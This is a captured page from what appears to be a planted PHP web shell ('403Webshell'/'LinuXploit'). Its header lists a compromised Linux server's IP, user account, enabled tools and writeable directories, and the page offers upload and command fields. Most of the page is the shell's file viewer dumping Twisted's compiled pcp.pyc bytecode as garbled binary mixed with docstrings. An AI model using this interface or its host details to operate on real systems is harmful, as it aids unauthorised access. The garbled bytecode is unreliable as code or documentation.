403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/twisted/protocols/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/twisted/protocols/__pycache__/pcp.cpython-314.pyc
+
Dfj���Rt^RIHt^RIHt]!]P
]P4!RR44t!RR]4tR#)z
Producer-Consumer Proxy.
)�implementer)�
interfacesc�a�]tRt^toRtRtRtRtRtRt	Rt
RtRtRt
RtRtR	tR
tRtRtV3R
lRltRtVtR#)�BasicProducerConsumerProxyaA
I can act as a man in the middle between any Producer and Consumer.

@ivar producer: the Producer I subscribe to.
@type producer: L{IProducer<interfaces.IProducer>}
@ivar consumer: the Consumer I publish to.
@type consumer: L{IConsumer<interfaces.IConsumer>}
@ivar paused: As a Producer, am I paused?
@type paused: bool
NTFc�b�.VnVe$WnVPWP4R#R#�N)�_buffer�consumer�registerProducer�iAmStreaming)�selfr	s&&�7/usr/lib/python3/dist-packages/twisted/protocols/pcp.py�__init__�#BasicProducerConsumerProxy.__init__#s-�������$�M��%�%�d�,=�,=�>� �c�p�RVnVP'dVPP4R#R#�TN)�paused�producer�pauseProducing�rs&r
r�)BasicProducerConsumerProxy.pauseProducing+s'������=�=�=��M�M�(�(�*�rc�F�RVnVP'dEVPPRP	VP44.VPR&MVP
'gRVnVPeVPP4R#R#)F��NNNTN)	rrr	�write�joinr�outstandingPullr�resumeProducingrs&r
r�*BasicProducerConsumerProxy.resumeProducing0sq������<�<�<��M�M��������� 5�6� �D�L�L��O��$�$�$�'+��$��=�=�$��M�M�)�)�+�%rc�z�VPeVPP4VPeV=R#R#r)r�
stopProducingr	rs&r
r!�(BasicProducerConsumerProxy.stopProducing=s0���=�=�$��M�M�'�'�)��=�=�$��
�%rc��VP'g%VP'g0VP'gVPP	V4R#VP
e%VP
P
V4RVnR#R#)NF)rrrr�appendr	r�r�datas&&r
r� BasicProducerConsumerProxy.writeEs\���;�;�;�t�0�0�0��9M�9M�9M��L�L����%�
�]�]�
&��M�M����%�#(�D� �'rc�v�VPeVPP4VP4R#r)r	�finish�unregisterProducerrs&r
r)�!BasicProducerConsumerProxy.finishNs(���=�=�$��M�M� � �"����!rc��WnW nR#r)r�producerIsStreaming�rr�	streamings&&&r
r
�+BasicProducerConsumerProxy.registerProducerSs
�� �
�#,� rc��VPeV=V=VP'dVPP4R#R#r)rr-r	r*rs&r
r*�-BasicProducerConsumerProxy.unregisterProducerWs5���=�=�$��
��(��=�=�=��M�M�,�,�.�rc� <�V^8�dQhRS[/#)��return)�str)�format�
__classdict__s"�r
�__annotate__�'BasicProducerConsumerProxy.__annotate__^s���I�I�#�Irc�V�RVPR\V4R
RVPR2#)�<�@�xz around �>)�	__class__�idr	rs&r
�__repr__�#BasicProducerConsumerProxy.__repr__^s,���4�>�>�"�!�B�t�H�Q�<�x��
�
��a�H�Hr)rr	rrrr-)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r	rr-rrr�stoppedrrrr!rr)r
r*rB�__static_attributes__�__classdictcell__�r8s@r
rrsd����	��H��H����L��O�
�F��G�?�+�
,��)�"�
-�/�I�Irrc�Ta�]tRt^btoRtRtRtRtRtRt	Rt
RtRtRt
R	tVtR
#)�ProducerConsumerProxyz�ProducerConsumerProxy with a finite buffer.

When my buffer fills up, I have my parent Producer pause until my buffer
has room in it again.
Fc��RVnR#r)rrs&r
r�$ProducerConsumerProxy.pauseProducingos����rc�R�RVnVP'd{RPVP4pVPV4pV\	V48d/WRpVP
'dQR4hV.VPR&M.VPR&M^pVP'dCV'd;VP'g)VPeVPP4VP
'g
V'*Vn	VPe�\RVP44pVP'd4W@P8d$RVnVPP4R#VP'dVPP4R#R#R#)FrN�.Streaming producer did not write all its data.rc3�8"�TFp\V4x�K	R#5ir��len��.0�ss& r
�	<genexpr>�8ProducerConsumerProxy.resumeProducing.<locals>.<genexpr>�����=��1��A������)rrr�_writeSomeDatarUr�unregisteredr	r*rr�sum�producerPaused�
bufferSizer)rr&�	bytesSent�unsent�
bytesBuffereds&    r
r�%ProducerConsumerProxy.resumeProducingtsH������<�<�<��7�7�4�<�<�(�D��+�+�D�1�I��3�t�9�$��j�)���)�)�)�D�C�D�)�#)�(����Q��"$����Q���I�
������L�L�L��
�
�)��M�M�,�,�.�� � � �'0�=�D� ��=�=�$��=����=�=�M��"�"�"�
���(G�&+��#��
�
�-�-�/��%�%�%��
�
�-�-�/�&�%rc��VP'g%VP'g/VP'gVPP	V4M�VP
exVP'dQR4hVP
V4pRVnV\V48Xg7VP'dQR4hVPP	WR4VPefVP'dR\RVP44pW0P8�d$VPP4RVn
R#R#R#R#)Nz9Writing fresh data to consumer before my buffer is empty!FrRc3�8"�TFp\V4x�K	R#5irrTrVs& r
rY�.ProducerConsumerProxy.write.<locals>.<genexpr>�r[r\T)rrrrr$r	r]rUrr-r_rarr`)rr&rbrds&&  r
r�ProducerConsumerProxy.write�s���;�;�;�t�0�0�0��9M�9M�9M��L�L����%�
�]�]�
&��L�L�L�
K�J�
K� ��+�+�D�1�I�#(�D� ���D�	�)��)�)�)�D�C�D�)����#�#�D��$4�5��M�M�%�4�+C�+C�+C��=����=�=�M����/��
�
�,�,�.�&*��#�0�,D�%rc�t�RVn\PWV4V'gVP4R#R#)FN)r^rr
rr.s&&&r
r
�&ProducerConsumerProxy.registerProducer�s.��!���"�3�3�D�I�N���$�$�&�rc��VPeV=V=RVnVP'd1VP'gVPP4R#R#R#)NT)rr-r^r	rr*rs&r
r*�(ProducerConsumerProxy.unregisterProducer�sG���=�=�$��
��(� ����=�=�=������M�M�,�,�.�".�=rc�n�VPf^#VPPV4\V4#)zPWrite as much of this data as possible.

@returns: The number of bytes written.
)r	rrUr%s&&r
r]�$ProducerConsumerProxy._writeSomeData�s-��
�=�=� ���
�
���D�!��4�y�r)rrr`r^Ni)rDrErFrGrHrar`r^rrrr
r*r]rJrKrLs@r
rNrNbs?������J��N��L��
+0�Z+�8'�/��rrNN)	rH�zope.interfacer�twisted.internetr�	IProducer�	IConsumerrrN�rr
�<module>rusT��
�'�'�
�Z�
!�
!�:�#7�#7�8�PI�PI�9�PI�fq�6�qr

Youez - 2016 - github.com/yon3zu
LinuXploit